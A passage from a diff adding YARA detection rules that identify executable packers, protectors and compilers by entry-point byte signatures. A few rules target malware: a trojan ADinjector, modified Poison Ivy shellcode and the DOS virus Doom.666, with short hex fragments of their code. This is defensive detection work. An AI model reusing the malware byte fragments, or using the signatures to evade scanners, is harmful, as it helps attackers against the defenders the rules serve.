+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _WinUpack_v039_final__By_Dwing_c2005_h1_
+{
+	meta:
+		description = "WinUpack v0.39 final -> By Dwing (c)2005 (h1)"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_DxPack_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DxPack 1.0] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+		$1 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_Patch_or_any_Version__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack_Patch or any Version -> Sign by hot_UNP"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v40_
+{
+	meta:
+		description = "Crunch/PE v4.0"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0
+}
+rule _Wise_Installer_Stub_v11010291_
+{
+	meta:
+		description = "Wise Installer Stub v1.10.1029.1"
+	strings:
+		$0 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+	condition:
+		$0 at entrypoint
+}
+rule _PKTINY_v10_with_TINYPROG_v38_
+{
+	meta:
+		description = "PKTINY v1.0 with TINYPROG v3.8"
+	strings:
+		$0 = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _nBinder_v40_
+{
+	meta:
+		description = "nBinder v4.0"
+	strings:
+		$0 = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+	condition:
+		$0
+}
+rule _Unknown_packer_08_
+{
+	meta:
+		description = "Unknown packer (08)"
+	strings:
+		$0 = {8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _ESO_Eclipse_Operating_System_v208_p_DOS_Extender_
+{
+	meta:
+		description = "E.S.O. Eclipse Operating System v.2.08 + DOS Extender"
+	strings:
+		$0 = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__ADinjector_
+{
+	meta:
+		description = "WARNING -> TROJAN -> ADinjector"
+	strings:
+		$0 = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v01__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.1 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_Modified_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Method_1_
+{
+	meta:
+		description = "EXE2COM (Method 1)"
+	strings:
+		$0 = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_11__PKWARE_Inc_
+{
+	meta:
+		description = "PKLITE32 1.1 -> PKWARE Inc."
+	strings:
+		$0 = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v310_
+{
+	meta:
+		description = "Armadillo v3.10"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+		$1 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCryptor_v16x__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6x --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_11__12__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.1 - 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXSCRAMBLER_306__OnToL_
+{
+	meta:
+		description = "UPX-SCRAMBLER 3.06 -> ©OnT®oL"
+	strings:
+		$0 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22__c199899_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 2.2 -> (c)1998-99 Ian Luck (h)"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 68 00 00 ?? ?? 8B 3C 24 8B 30 66 81 C7 80 07 8D 74 06 08 89 38 8B 5E 10 50 56 6A 02 68 80 08 00 00 57 6A ?? 6A 06 56 6A 04 68 80 08 00 00 57 FF D3 83 EE 08 59 F3 A5 59 66}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_One_layer_encryption__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [One layer encryption] --> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v43__v46_
+{
+	meta:
+		description = "VBOX v4.3 - v4.6"
+	strings:
+		$0 = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+		$1 = {90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+	condition:
+		$0 or $1
+}
+rule _PseudoSigner_01_PECompact_14p__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PECompact 1.4+] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Locker_v10__IonIce_
+{
+	meta:
+		description = "Exe Locker v1.0 --> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+		$1 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v070_
+{
+	meta:
+		description = "tElock v0.70"
+	strings:
+		$0 = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_620__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.20] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v120__v1201_
+{
+	meta:
+		description = "PECompact v1.20 - v1.20.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_167_
+{
+	meta:
+		description = "XPack 1.67"
+	strings:
+		$0 = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Native_UD_Packer_11_Modded_Poison_Ivy_Shellcode__okkixot_
+{
+	meta:
+		description = "Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot"
+	strings:
+		$0 = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_EXE_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 EXE"
+	strings:
+		$0 = {6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01}
+		$1 = {6A ?? 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PE_Intro_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Intro 1.0] --> Anorganix"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+		$1 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HASP_HL_Protection_V1X__Aladdin_
+{
+	meta:
+		description = "HASP HL Protection V1.X -> Aladdin"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Go32Stub_v200_DOSExtender_
+{
+	meta:
+		description = "Go32Stub v.2.00 DOS-Extender"
+	strings:
+		$0 = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 80}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_Team_Blue_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl Team (Blue)"
+	strings:
+		$0 = {68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF}
+	condition:
+		$0
+}
+rule _PKLITE_v120_
+{
+	meta:
+		description = "PKLITE v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v405d_v410d_v415d_
+{
+	meta:
+		description = "PC-Guard v4.05d, v4.10d, v4.15d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v11___Northfox_HCC_
+{
+	meta:
+		description = "MEW 11 SE v1.1  -> Northfox [HCC]"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_FSG_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Yoda's Protector 1.02] --> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90 E9}
+		$1 = {E8 03 00 00 00 EB 01 90 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeLock_v100_
+{
+	meta:
+		description = "ExeLock v1.00"
+	strings:
+		$0 = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida__Oreans_Technologies_2004_
+{
+	meta:
+		description = "Themida -> Oreans Technologies 2004"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_or_Borland_Pascal_v70_
+{
+	meta:
+		description = "Turbo or Borland Pascal v7.0"
+	strings:
+		$0 = {9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_10_execoder_10__Northfox_HCC_
+{
+	meta:
+		description = "Mew 10 exe-coder 1.0 -> Northfox [HCC]"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+	condition:
+		$0 at entrypoint
+}
+rule _TASM__MASM_
+{
+	meta:
+		description = "TASM / MASM"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZBRS__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRS] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint
+}
+rule _KGCrypt_vxx_
+{
+	meta:
+		description = "KGCrypt vx.x"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Apex_c_beta__500mhz_
+{
+	meta:
+		description = "Apex_c beta -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v12_
+{
+	meta:
+		description = "FSG v1.2"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+		$1 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nSpack_V13__LiuXingPing_
+{
+	meta:
+		description = "nSpack V1.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211_DEMO_
+{
+	meta:
+		description = "ORiEN v2.11 (DEMO)"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_06_
+{
+	meta:
+		description = "Unknown packer (06)"
+	strings:
+		$0 = {FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_20__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 2.0 -> SetiSoft"
+	strings:
+		$0 = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+	condition:
+		$0
+}
+rule _Turbo_Pascal_v20_1984_
+{
+	meta:
+		description = "Turbo Pascal v2.0 1984"
+	strings:
+		$0 = {90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34}
+	condition:
+		$0 at entrypoint
+}
+rule _COP_v10_c_1988_
+{
+	meta:
+		description = "COP v1.0 (c) 1988"
+	strings:
+		$0 = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v12_
+{
+	meta:
+		description = "y0da's Crypter v1.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _TXT2COM_ReadAMatic_v10_
+{
+	meta:
+		description = "TXT2COM (Read-A-Matic v1.0)"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Cruncher_v10_
+{
+	meta:
+		description = "Cruncher v1.0"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Doom666_
+{
+	meta:
+		description = "Vx: Doom.666"
+	strings:
+		$0 = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_v09910_
+{
+	meta:
+		description = "Free Pascal v0.99.10"
+	strings:
+		$0 = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_v102_
+{
+	meta:
+		description = "PE Crypt32 v1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v139_
+{
+	meta:
+		description = "EXE32Pack v1.39"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_5_10__Northfox_
+{
+	meta:
+		description = "MEW 5 1.0 -> Northfox"
+	strings:
+		$0 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v05_
+{
+	meta:
+		description = "Krypton v0.5"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v20_
+{
+	meta:
+		description = "EP v2.0"
+	strings:
+		$0 = {6A ?? 60 E9 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PEMangle_
+{
+	meta:
+		description = "PEMangle"
+	strings:
+		$0 = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_v1x_modified_
+{
+	meta:
+		description = "NFO v1.x modified"
+	strings:
+		$0 = {60 9C 8D 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.4 -> Obsidium Software"
+	strings:
